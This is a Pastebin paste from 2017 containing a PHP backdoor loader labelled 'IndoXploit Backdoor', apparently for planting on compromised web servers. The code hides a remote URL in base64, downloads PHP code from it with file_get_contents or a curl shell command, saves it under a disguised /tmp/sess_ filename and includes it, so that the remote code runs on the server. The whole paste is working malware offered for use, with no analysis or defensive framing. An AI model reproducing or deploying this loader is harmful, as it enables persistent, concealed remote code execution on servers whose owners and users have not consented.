Bayz21

TMPshell

Jul 31st, 2017
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. <?php
  2. # IndoXploit Backdoor
  3. # Bypass 406 Not Acceptable & Auto Delete Shell
  4. # Coded by: L0c4lh34rtz - IndoXploit
  5. # Recoded again By Bayz21 - Security Ghost
  6.  
  7. $URL = 'aHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvOWpQdUg0SGo='; # Backdoor URL
  8. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
  9.  
  10. function M() {
  11. $FGT = file_get_contents(base64_decode($GLOBALS['URL']));
  12. if(!$FGT) {
  13. echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) >> {$GLOBALS['TMP']}`;
  14. } else {
  15. $HANDLE = fopen($GLOBALS['TMP'], 'w');
  16. fwrite($HANDLE, $FGT);
  17. fclose($HANDLE);
  18. }
  19. echo '<script>window.location="?indoxploit";</script>';
  20. }
  21.  
  22. if(file_exists($TMP)) {
  23. if(filesize($TMP) === 0) {
  24. unlink($TMP);
  25. M();
  26. } else {
  27. include($TMP);
  28. }
  29. } else {
  30. M();
  31. }
  32. ?>
Add Comment
Please, Sign In to add comment